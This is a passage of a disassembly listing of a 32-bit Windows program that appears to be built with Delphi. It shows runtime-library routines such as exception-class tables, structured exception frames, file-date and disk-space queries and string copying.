--------------------------------------------------------------------------- loc_4036E4: ; CODE XREF: sub_4036B8:loc_4036DCj ; DATA XREF: sub_4036B8+1Fo pop ebp retn sub_4036B8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4036E8 proc near ; DATA XREF: CODE:00407B40o sub ds:dword_40A6A4, 1 retn sub_4036E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4036F0 proc near ; DATA XREF: CODE:00407B4Co push ebp mov ebp, esp xor eax, eax push ebp push offset loc_403715 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_40A6A8 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40371C loc_403714: ; CODE XREF: sub_4036F0+2Aj retn ; --------------------------------------------------------------------------- loc_403715: ; DATA XREF: sub_4036F0+6o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_403714 ; --------------------------------------------------------------------------- loc_40371C: ; CODE XREF: sub_4036F0:loc_403714j ; DATA XREF: sub_4036F0+1Fo pop ebp retn sub_4036F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_403720 proc near ; DATA XREF: CODE:00407B48o sub ds:dword_40A6A8, 1 retn sub_403720 endp ; --------------------------------------------------------------------------- off_403728 dd offset dword_40A694 ; DATA XREF: DATA:off_409308o dd 0FFF0h off_403730 dd offset dword_40A694 ; DATA XREF: DATA:off_409300o dd 0FFF1h off_403738 dd offset dword_40A694 ; DATA XREF: DATA:off_40934Co dd 0FFF2h off_403740 dd offset dword_40A694 ; DATA XREF: DATA:off_4093E8o dd 0FFF3h off_403748 dd offset dword_40A694 ; DATA XREF: DATA:off_4092C0o dd 0FFF4h off_403750 dd offset dword_40A694 ; DATA XREF: DATA:off_4093B0o dd 0FFF5h off_403758 dd offset dword_40A694 ; DATA XREF: DATA:off_409384o dd 0FFF6h off_403760 dd offset dword_40A694 ; DATA XREF: DATA:off_4092ECo dd 0FFF7h off_403768 dd offset dword_40A694 ; DATA XREF: DATA:off_409310o dd 0FFF8h off_403770 dd offset dword_40A694 ; DATA XREF: DATA:off_4093F4o dd 0FFF9h off_403778 dd offset dword_40A694 ; DATA XREF: DATA:off_4093F0o dd 0FFFAh off_403780 dd offset dword_40A694 ; DATA XREF: DATA:off_409350o dd 0FFFBh off_403788 dd offset dword_40A694 ; DATA XREF: DATA:off_4093FCo dd 0FFFCh off_403790 dd offset dword_40A694 ; DATA XREF: DATA:off_40940Co dd 0FFFDh off_403798 dd offset dword_40A694 ; DATA XREF: DATA:off_409388o dd 0FFFEh off_4037A0 dd offset dword_40A694 ; DATA XREF: DATA:off_409398o dd 0FFFFh off_4037A8 dd offset dword_40A694 ; DATA XREF: DATA:off_409390o dd 0FFE0h off_4037B0 dd offset dword_40A694 ; DATA XREF: DATA:off_409408o dd 0FFE1h off_4037B8 dd offset dword_40A694 ; DATA XREF: DATA:off_4093E4o dd 0FFE2h off_4037C0 dd offset dword_40A694 ; DATA XREF: DATA:off_409340o dd 0FFE3h off_4037C8 dd offset dword_40A694 ; DATA XREF: DATA:off_409344o dd 0FFE4h off_4037D0 dd offset dword_40A694 ; DATA XREF: DATA:off_4093ECo dd 0FFE5h off_4037D8 dd offset dword_40A694 ; DATA XREF: DATA:off_409404o dd 0FFE6h off_4037E0 dd offset dword_40A694 ; DATA XREF: DATA:off_409304o dd 0FFE7h off_4037E8 dd offset dword_40A694 ; DATA XREF: DATA:off_4090F8o ; DATA:off_409314o dd 0FFE8h off_4037F0 dd offset dword_40A694 ; DATA XREF: DATA:off_4090FCo ; DATA:off_409354o dd 0FFE9h off_4037F8 dd offset dword_40A694 ; DATA XREF: DATA:off_4092BCo dd 0FFEAh off_403800 dd offset dword_40A694 ; DATA XREF: DATA:off_409410o ; --------------------------------------------------------------------------- jmp short near ptr loc_403804+1 ; CODE XREF: CODE:loc_403804j ; --------------------------------------------------------------------------- align 4 off_403808 dd offset dword_40A694 ; DATA XREF: DATA:off_4093A8o dd 0FFECh off_403810 dd offset dword_40A694 ; DATA XREF: DATA:off_409358o dd 0FFEDh off_403818 dd offset dword_40A694 ; DATA XREF: DATA:off_4093C8o dd 0FFEEh off_403820 dd offset dword_40A694 ; DATA XREF: DATA:off_409374o dd 0FFEFh off_403828 dd offset dword_40A694 ; DATA XREF: DATA:off_409368o dd 0FFD0h off_403830 dd offset dword_40A694 ; DATA XREF: DATA:off_409328o dd 0FFD1h off_403838 dd offset dword_40A694 ; DATA XREF: DATA:off_4092D8o dd 0FFD2h off_403840 dd offset dword_40A694 ; DATA XREF: DATA:off_4093B4o dd 0FFD3h off_403848 dd offset dword_40A694 ; DATA XREF: DATA:off_409360o dd 0FFD4h off_403850 dd offset dword_40A694 ; DATA XREF: DATA:off_4093A4o dd 0FFD5h off_403858 dd offset dword_40A694 ; DATA XREF: DATA:off_4093D4o dd 0FFD6h off_403860 dd offset dword_40A694 ; DATA XREF: DATA:off_409318o dd 0FFD7h dd offset dword_40A694 ; DATA XREF: DATA:off_4093CCo dd 0FFD8h off_403870 dd offset dword_40A694 ; DATA XREF: DATA:off_409110o ; DATA:off_409400o dd 0FFD9h off_403878 dd offset dword_40A694 ; DATA XREF: DATA:off_409114o ; DATA:off_409378o dd 0FFDAh off_403880 dd offset dword_40A694 ; DATA XREF: DATA:off_409118o ; DATA:off_4093E0o dd 0FFDBh off_403888 dd offset dword_40A694 ; DATA XREF: DATA:off_40911Co ; DATA:off_4092B8o dd 0FFDCh off_403890 dd offset dword_40A694 ; DATA XREF: DATA:off_409120o ; DATA:off_4092E8o dd 0FFDDh off_403898 dd offset dword_40A694 ; DATA XREF: DATA:off_409124o ; DATA:off_409414o dd 0FFDEh off_4038A0 dd offset dword_40A694 ; DATA XREF: DATA:off_409128o ; DATA:off_4093D0o dd 0FFDFh off_4038A8 dd offset dword_40A694 ; DATA XREF: DATA:off_40912Co ; DATA:off_4092D0o dd 0FFC0h off_4038B0 dd offset dword_40A694 ; DATA XREF: DATA:off_409130o ; DATA:off_40930Co dd 0FFC1h off_4038B8 dd offset dword_40A694 ; DATA XREF: DATA:off_409134o ; DATA:off_40937Co ; --------------------------------------------------------------------------- retn 0FFh ; --------------------------------------------------------------------------- align 10h off_4038C0 dd offset dword_40A694 ; DATA XREF: DATA:off_409138o ; DATA:off_4093D8o ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0FFh, 2 dup(0) off_4038C8 dd offset dword_40A694 ; DATA XREF: DATA:off_40913Co ; DATA:off_4093F8o dd 0FFC4h off_4038D0 dd offset dword_40A694 ; DATA XREF: DATA:off_409140o ; DATA:off_40935Co dd 0FFC5h off_4038D8 dd offset dword_40A694 ; DATA XREF: DATA:off_409144o ; DATA:off_4092C4o dd 0FFC6h off_4038E0 dd offset dword_40A694 ; DATA XREF: DATA:off_409148o ; DATA:off_409330o dd 0FFC7h off_4038E8 dd offset dword_40A694 ; DATA XREF: DATA:off_40914Co ; DATA:off_40936Co dd 0FFC8h off_4038F0 dd offset dword_40A694 ; DATA XREF: DATA:off_409150o ; DATA:off_40938Co dd 0FFC9h off_4038F8 dd offset dword_40A694 ; DATA XREF: DATA:off_409154o ; DATA:off_409364o ; --------------------------------------------------------------------------- retf 0FFh ; --------------------------------------------------------------------------- align 10h off_403900 dd offset dword_40A694 ; DATA XREF: DATA:off_409158o ; DATA:off_40931Co ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0FFh, 2 dup(0) off_403908 dd offset dword_40A694 ; DATA XREF: DATA:off_40915Co ; DATA:off_409370o db 0CCh db 0FFh, 2 dup(0) off_403910 dd offset dword_40A694 ; DATA XREF: DATA:off_409160o ; DATA:off_4093B8o dd 0FFCDh off_403918 dd offset dword_40A694 ; DATA XREF: DATA:off_409164o ; DATA:off_4092C8o dd 0FFCEh off_403920 dd offset dword_40A694 ; DATA XREF: DATA:off_409168o ; DATA:off_409324o dd 0FFCFh off_403928 dd offset dword_40A694 ; DATA XREF: DATA:off_40916Co ; DATA:off_40933Co dd 0FFB0h off_403930 dd offset dword_40A694 ; DATA XREF: DATA:off_409170o ; DATA:off_40939Co dd 0FFB1h off_403938 dd offset dword_40A694 ; DATA XREF: DATA:off_409174o ; DATA:off_4093BCo dd 0FFB2h off_403940 dd offset dword_40A694 ; DATA XREF: DATA:off_409178o ; DATA:off_4093C4o dd 0FFB3h off_403948 dd offset dword_40A694 ; DATA XREF: DATA:off_40917Co ; DATA:off_409380o dd 0FFB4h off_403950 dd offset dword_40A694 ; DATA XREF: DATA:off_409180o ; DATA:off_4092F4o dd 0FFB5h off_403958 dd offset dword_40A694 ; DATA XREF: DATA:off_409184o ; DATA:off_409394o dd 0FFB6h off_403960 dd offset dword_40A694 ; DATA XREF: DATA:off_409188o ; DATA:off_409348o dd 0FFB7h off_403968 dd offset dword_40A694 ; DATA XREF: DATA:off_40918Co ; DATA:off_4092E4o dd 0FFB8h off_403970 dd offset dword_40A694 ; DATA XREF: DATA:off_409190o ; DATA:off_4092F0o dd 0FFB9h off_403978 dd offset dword_40A694 ; DATA XREF: DATA:off_409194o ; DATA:off_4092F8o dd 0FFBAh off_403980 dd offset dword_40A694 ; DATA XREF: DATA:off_409198o ; DATA:off_4092CCo dd 0FFBBh off_403988 dd offset dword_40A694 ; DATA XREF: DATA:off_40919Co ; DATA:off_4093ACo dd 0FFBCh off_403990 dd offset dword_40A694 ; DATA XREF: DATA:off_4091A0o ; DATA:off_4092DCo dd 0FFBDh off_403998 dd offset dword_40A694 ; DATA XREF: DATA:off_4091A4o ; DATA:off_4093DCo dd 0FFBEh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4039A0 proc near ; DATA XREF: CODE:00407B54o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_4039C5 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_40A6AC xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4039CC loc_4039C4: ; CODE XREF: sub_4039A0+2Aj retn ; --------------------------------------------------------------------------- loc_4039C5: ; DATA XREF: sub_4039A0+6o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4039C4 ; --------------------------------------------------------------------------- loc_4039CC: ; CODE XREF: sub_4039A0:loc_4039C4j ; DATA XREF: sub_4039A0+1Fo pop ebp retn sub_4039A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4039D0 proc near ; DATA XREF: CODE:00407B50o sub ds:dword_40A6AC, 1 retn sub_4039D0 endp ; --------------------------------------------------------------------------- off_4039D8 dd offset dword_403A24 ; DATA XREF: CODE:00403A68o ; CODE:00403B20o ... dd 2 dup(0) dd offset dword_403A24 dd 4 dup(0) dd offset word_403A36 dd 0Ch dd offset off_40100C dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403A24 dd 0Eh, 10000h ; DATA XREF: CODE:off_4039D8o ; CODE:004039E4o db 2 dup(0) dd offset off_401000 dw 4 db 2 dup(0) word_403A36 dw 4509h ; DATA XREF: CODE:004039F8o dd 70656378h, 6E6F6974h off_403A40 dd offset dword_403A8C ; DATA XREF: CODE:00403AC4o ; CODE:00403F4Co dd 7 dup(0) dd offset dword_403A8C dd 10h dd offset off_4039D8 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_405A74 dd offset sub_401F40 dword_403A8C dd 6548450Eh, 78457061h, 74706563h, 906E6F69h ; DATA XREF: CODE:off_403A40o ; CODE:00403A60o off_403A9C dd offset dword_403AE8 ; DATA XREF: sub_405FA4+8r dd 7 dup(0) dd offset dword_403AE8 dd 10h dd offset off_403A40 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_405A74 dd offset sub_401F40 dword_403AE8 dd 754F450Ch, 4D664F74h, 726F6D65h, 408D79h ; DATA XREF: CODE:off_403A9Co ; CODE:00403ABCo off_403AF8 dd offset dword_403B44 ; DATA XREF: sub_405AA0+2Dr ; sub_405AA0+4Cr dd 7 dup(0) dd offset dword_403B44 dd 10h dd offset off_4039D8 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403B44 dd 6E49450Bh, 4574754Fh, 726F7272h ; DATA XREF: CODE:off_403AF8o ; CODE:00403B18o off_403B50 dd offset dword_403B9C ; DATA XREF: CODE:00403BD0o ; CODE:00403C30o ... dd 7 dup(0) dd offset dword_403B9C dd 10h dd offset off_4039D8 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403B9C dd 78454509h, 6E726574h, 0C08B6C61h ; DATA XREF: CODE:off_403B50o ; CODE:00403B70o off_403BA8 dd offset dword_403BF4 ; DATA XREF: sub_405EC8+82r dd 7 dup(0) dd offset dword_403BF4 dd 10h dd offset off_403B50 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403BF4 dd 78454512h, 6E726574h, 78456C61h, 74706563h, 906E6F69h ; DATA XREF: CODE:off_403BA8o ; CODE:00403BC8o ... off_403C08 dd offset dword_403C54 ; DATA XREF: CODE:00403C88o ; CODE:00403CE0o ... dd 7 dup(0) dd offset dword_403C54 dd 10h dd offset off_403B50 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403C54 dd 6E494509h, 72724574h, 0C08B726Fh ; DATA XREF: CODE:off_403C08o ; CODE:00403C28o dd offset dword_403CAC dd 7 dup(0) dd offset dword_403CAC dd 10h dd offset off_403C08 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403CAC dd 6944450Ah, 5A794276h, 906F7265h ; DATA XREF: CODE:00403C60o ; CODE:00403C80o ... dd offset dword_403D04 dd 7 dup(0) dd offset dword_403D04 dd 10h dd offset off_403C08 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403D04 dd 6152450Bh, 4565676Eh, 726F7272h ; DATA XREF: CODE:00403CB8o ; CODE:00403CD8o ... dd offset dword_403D5C dd 7 dup(0) dd offset dword_403D5C dd 10h dd offset off_403C08 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403D5C dd 6E49450Ch, 65764F74h, 6F6C6672h, 408D77h ; DATA XREF: CODE:00403D10o ; CODE:00403D30o ... off_403D6C dd offset dword_403DB8 ; DATA XREF: CODE:00403DECo ; CODE:00403E44o ... dd 7 dup(0) dd offset dword_403DB8 dd 10h dd offset off_403B50 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403DB8 dd 614D450Ah, 72456874h, 90726F72h ; DATA XREF: CODE:off_403D6Co ; CODE:00403D8Co dd offset dword_403E10 dd 7 dup(0) dd offset dword_403E10 dd 10h dd offset off_403D6C dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403E10 dd 6E49450Ah, 696C6176h, 90704F64h ; DATA XREF: CODE:00403DC4o ; CODE:00403DE4o ... dd offset dword_403E68 dd 7 dup(0) dd offset dword_403E68 dd 10h dd offset off_403D6C dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403E68 dd 655A450Bh, 69446F72h, 65646976h ; DATA XREF: CODE:00403E1Co ; CODE:00403E3Co ... dd offset dword_403EC0 dd 7 dup(0) dd offset dword_403EC0 dd 10h dd offset off_403D6C dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403EC0 dd 764F4509h, 6C667265h, 0C08B776Fh ; DATA XREF: CODE:00403E74o ; CODE:00403E94o ... dd offset dword_403F18 dd 7 dup(0) dd offset dword_403F18 dd 10h dd offset off_403D6C dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403F18 dd 6E55450Ah, 66726564h, 90776F6Ch ; DATA XREF: CODE:00403ECCo ; CODE:00403EECo ... off_403F24 dd offset dword_403F70 ; DATA XREF: sub_405FA4+1Fr dd 7 dup(0) dd offset dword_403F70 dd 10h dd offset off_403A40 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_405A74 dd offset sub_401F40 dword_403F70 dd 6E49450Fh, 696C6176h, 696F5064h, 7265746Eh ; DATA XREF: CODE:off_403F24o ; CODE:00403F44o dd offset dword_403FCC dd 7 dup(0) dd offset dword_403FCC dd 0Ch dd offset off_4039D8 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403FCC dd 6E49450Ch, 696C6176h, 73614364h, 408D74h ; DATA XREF: CODE:00403F80o ; CODE:00403FA0o ... off_403FDC dd offset dword_404028 ; DATA XREF: sub_4043CC+Fr dd 7 dup(0) dd offset dword_404028 dd 0Ch dd offset off_4039D8 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_404028 dd 6F43450Dh, 7265766Eh, 72724574h, 0C08B726Fh ; DATA XREF: CODE:off_403FDCo ; CODE:00403FFCo off_404038 dd offset dword_404084 ; DATA XREF: sub_405CFC+122r ; sub_405CFC+17Er dd 7 dup(0) dd offset dword_404084 dd 10h dd offset off_403B50 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_404084 dd 63414510h, 73736563h, 6C6F6956h, 6F697461h, 408D6Eh ; DATA XREF: CODE:off_404038o ; CODE:00404058o ... dd offset dword_4040E4 dd 7 dup(0) dd offset dword_4040E4 dd 10h dd offset off_403B50 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_4040E4 dd 7250450Ah, 6C697669h, 90656765h ; DATA XREF: CODE:00404098o ; CODE:004040B8o ... dd offset dword_40413C dd 7 dup(0) dd offset dword_40413C dd 10h dd offset off_403B50 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_40413C dd 7453450Eh, 4F6B6361h, 66726576h, 90776F6Ch ; DATA XREF: CODE:004040F0o ; CODE:00404110o ... dd offset dword_404198 dd 7 dup(0) dd offset dword_404198 dd 10h dd offset off_403B50 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_404198 dd 6F434509h, 6F72746Eh, 0C08B436Ch ; DATA XREF: CODE:0040414Co ; CODE:0040416Co ... dd offset dword_4041F0 dd 7 dup(0) dd offset dword_4041F0 dd 0Ch dd offset off_4039D8 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_4041F0 dd 6156450Dh, 6E616972h, 72724574h, 0C08B726Fh ; DATA XREF: CODE:004041A4o ; CODE:004041C4o ... off_404200 dd offset dword_40424C ; DATA XREF: sub_405B74+72r dd 7 dup(0) dd offset dword_40424C dd 0Ch dd offset off_4039D8 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_40424C dd 73414510h, 74726573h, 466E6F69h, 656C6961h, 408D64h ; DATA XREF: CODE:off_404200o ; CODE:00404220o ... off_404260 dd offset dword_4042AC ; DATA XREF: CODE:00405C54r dd 7 dup(0) dd offset dword_4042AC dd 0Ch dd offset off_4039D8 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_4042AC dd 6241450Eh, 61727473h, 72457463h, 90726F72h ; DATA XREF: CODE:off_404260o ; CODE:00404280o dd offset dword_404308 dd 7 dup(0) dd offset dword_404308 dd 0Ch dd offset off_4039D8 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_404308 dd 6E49450Eh, 61436674h, 72457473h, 90726F72h ; DATA XREF: CODE:004042BCo ; CODE:004042DCo ... dd offset dword_404364 dd 7 dup(0) dd offset dword_404364 dd 0Ch dd offset off_4039D8 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_404364 dd 61534512h, 61636566h, 78456C6Ch, 74706563h, 906E6F69h ; DATA XREF: CODE:00404318o ; CODE:00404338o ... off_404378 dd offset dword_40437C ; DATA XREF: sub_406B98+8Fr dword_40437C dd 332E0311h, 434h ; DATA XREF: CODE:off_404378o db 0 dd offset off_401000 db 48h, 2 dup(0) db 0 dd offset off_401000 db 8, 53h, 79h dd 69745573h, 0C08B736Ch off_40439C dd offset dword_4043A0 ; DATA XREF: sub_406B98+7Fr dword_4043A0 dd 342E0311h, 434h ; DATA XREF: CODE:off_40439Co db 0 dd offset off_401000 db 48h, 2 dup(0) db 0 dd offset off_401000 db 8, 53h, 79h dd 69745573h, 0C08B736Ch, 0FFFFFFFFh, 1 dword_4043C8 dd 24h ; DATA XREF: DATA:off_4090E8o ; =============== S U B R O U T I N E ======================================= sub_4043CC proc near ; CODE XREF: sub_404654+4Cp push ebx push esi push edi mov edi, ecx mov esi, edx mov ebx, eax push esi push edi mov ecx, ebx mov dl, 1 mov eax, off_403FDC call sub_4059E0 call sub_402308 pop edi pop esi pop ebx retn sub_4043CC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4043F0 proc near ; CODE XREF: sub_40534C+3Ep ; sub_4053C4+34p ... var_8 = dword ptr -8 push ebx push ecx mov ebx, edx mov edx, esp call sub_401B20 cmp [esp+8+var_8], 0 jz short loc_404403 mov eax, ebx loc_404403: ; CODE XREF: sub_4043F0+Fj pop edx pop ebx retn sub_4043F0 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 1 dword_404410 dd 30h, 0FFFFFFFFh, 2, 312Dh ; DATA XREF: DATA:off_4090F0o ; DATA:004090F4o ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404420 proc near ; CODE XREF: sub_404488+5p FileTime = _WIN32_FIND_DATAA ptr -14Ch LocalFileTime = _FILETIME ptr -0Ch FatTime = word ptr -4 push ebp mov ebp, esp add esp, 0FFFFFEB4h push ebx mov ebx, eax lea eax, [ebp+FileTime] push eax ; lpFindFileData mov eax, ebx call sub_402A38 push eax ; lpFileName call FindFirstFileA_0 cmp eax, 0FFFFFFFFh jz short loc_404479 push eax ; hFindFile call FindClose_0 test byte ptr [ebp+FileTime.dwFileAttributes], 10h jnz short loc_404479 lea eax, [ebp+LocalFileTime] push eax ; lpLocalFileTime lea eax, [ebp+FileTime.ftLastWriteTime] push eax ; lpFileTime call FileTimeToLocalFileTime lea eax, [ebp+FatTime] push eax ; lpFatTime lea eax, [ebp+FatTime+2] push eax ; lpFatDate lea eax, [ebp+LocalFileTime] push eax ; lpFileTime call FileTimeToDosDateTime test eax, eax jnz short loc_404480 loc_404479: ; CODE XREF: sub_404420+23j ; sub_404420+32j mov dword ptr [ebp+FatTime], 0FFFFFFFFh loc_404480: ; CODE XREF: sub_404420+57j mov eax, dword ptr [ebp+FatTime] pop ebx mov esp, ebp pop ebp retn sub_404420 endp ; =============== S U B R O U T I N E ======================================= sub_404488 proc near ; CODE XREF: sub_406F88+8p push ebx mov ebx, eax mov eax, ebx call sub_404420 inc eax setnz al pop ebx retn sub_404488 endp ; =============== S U B R O U T I N E ======================================= sub_404498 proc near ; CODE XREF: sub_4044E8+Ep push ebx push esi push edi push ebp mov esi, edx mov ebx, eax mov eax, esi call sub_402840 mov edi, eax mov eax, ebx call sub_402A38 mov ebp, eax test edi, edi jle short loc_4044DE loc_4044B6: ; CODE XREF: sub_404498+44j mov bl, [esi+edi-1] test bl, bl jz short loc_4044D9 mov edx, ebx mov eax, ebp call sub_404634 test eax, eax jz short loc_4044D9 mov edx, edi mov eax, esi call sub_406164 cmp al, 2 jnz short loc_4044DE dec edi loc_4044D9: ; CODE XREF: sub_404498+24j ; sub_404498+31j dec edi test edi, edi jg short loc_4044B6 loc_4044DE: ; CODE XREF: sub_404498+1Cj ; sub_404498+3Ej mov eax, edi pop ebp pop edi pop esi pop ebx retn sub_404498 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4044E8 proc near ; CODE XREF: sub_405CFC+CCp push ebx push esi push edi mov edi, edx mov ebx, eax mov edx, ebx mov eax, offset dword_40451C call sub_404498 mov esi, eax push edi lea edx, [esi+1] mov ecx, 7FFFFFFFh mov eax, ebx call sub_402A94 pop edi pop esi pop ebx retn sub_4044E8 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 2 dword_40451C dd 3A5Ch ; DATA XREF: sub_4044E8+9o ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_404520(LPCSTR lpRootPathName,int,int,int) sub_404520 proc near ; DATA XREF: sub_40685C+2Ao var_18 = dword ptr -18h var_14 = dword ptr -14h TotalNumberOfClusters= dword ptr -10h NumberOfFreeClusters= dword ptr -0Ch BytesPerSector = dword ptr -8 SectorsPerCluster= dword ptr -4 lpRootPathName = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp add esp, 0FFFFFFE8h push ebx mov eax, [ebp+lpRootPathName] test eax, eax jnz short loc_404530 xor eax, eax loc_404530: ; CODE XREF: sub_404520+Cj lea edx, [ebp+TotalNumberOfClusters] push edx ; lpTotalNumberOfClusters lea edx, [ebp+NumberOfFreeClusters] push edx ; lpNumberOfFreeClusters lea edx, [ebp+BytesPerSector] push edx ; lpBytesPerSector lea edx, [ebp+SectorsPerCluster] push edx ; lpSectorsPerCluster push eax ; lpRootPathName call GetDiskFreeSpaceA mov ebx, eax mov eax, [ebp+SectorsPerCluster] imul [ebp+BytesPerSector] xor edx, edx mov [ebp+var_18], eax mov [ebp+var_14], edx mov eax, [ebp+NumberOfFreeClusters] xor edx, edx push edx push eax mov eax, [ebp+var_18] mov edx, [ebp+var_14] call sub_402DC0 mov ecx, [ebp+arg_4] mov [ecx], eax mov [ecx+4], edx mov eax, [ebp+TotalNumberOfClusters] xor edx, edx push edx push eax mov eax, [ebp+var_18] mov edx, [ebp+var_14] call sub_402DC0 mov ecx, [ebp+arg_8] mov [ecx], eax mov [ecx+4], edx mov eax, ebx pop ebx mov esp, ebp pop ebp retn 10h sub_404520 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_404594 proc near ; CODE XREF: sub_404AE0+16p ; CODE:00405765p ... mov edx, edi mov edi, eax mov ecx, 0FFFFFFFFh xor al, al repne scasb mov eax, 0FFFFFFFEh sub eax, ecx mov edi, edx retn sub_404594 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4045AC proc near ; CODE XREF: sub_404654+2Bp push esi mov esi, eax xchg eax, edx call sub_401340 mov eax, esi pop esi retn sub_4045AC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4045BC proc near ; CODE XREF: CODE:00405739p push edi push esi push ebx mov esi, eax mov edi, edx mov ebx, ecx xor al, al test ecx, ecx jz short loc_4045D0 repne scasb jnz short loc_4045D0 inc ecx loc_4045D0: ; CODE XREF: sub_4045BC+Dj ; sub_4045BC+11j sub ebx, ecx mov edi, esi mov esi, edx mov edx, edi mov ecx, ebx shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb stosb mov eax, edx pop ebx pop esi pop edi retn sub_4045BC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4045F0 proc near ; CODE XREF: sub_405474+109p ; sub_405474+12Fp ... push edi push esi push ebx mov edi, edx mov esi, eax mov ebx, ecx xor eax, 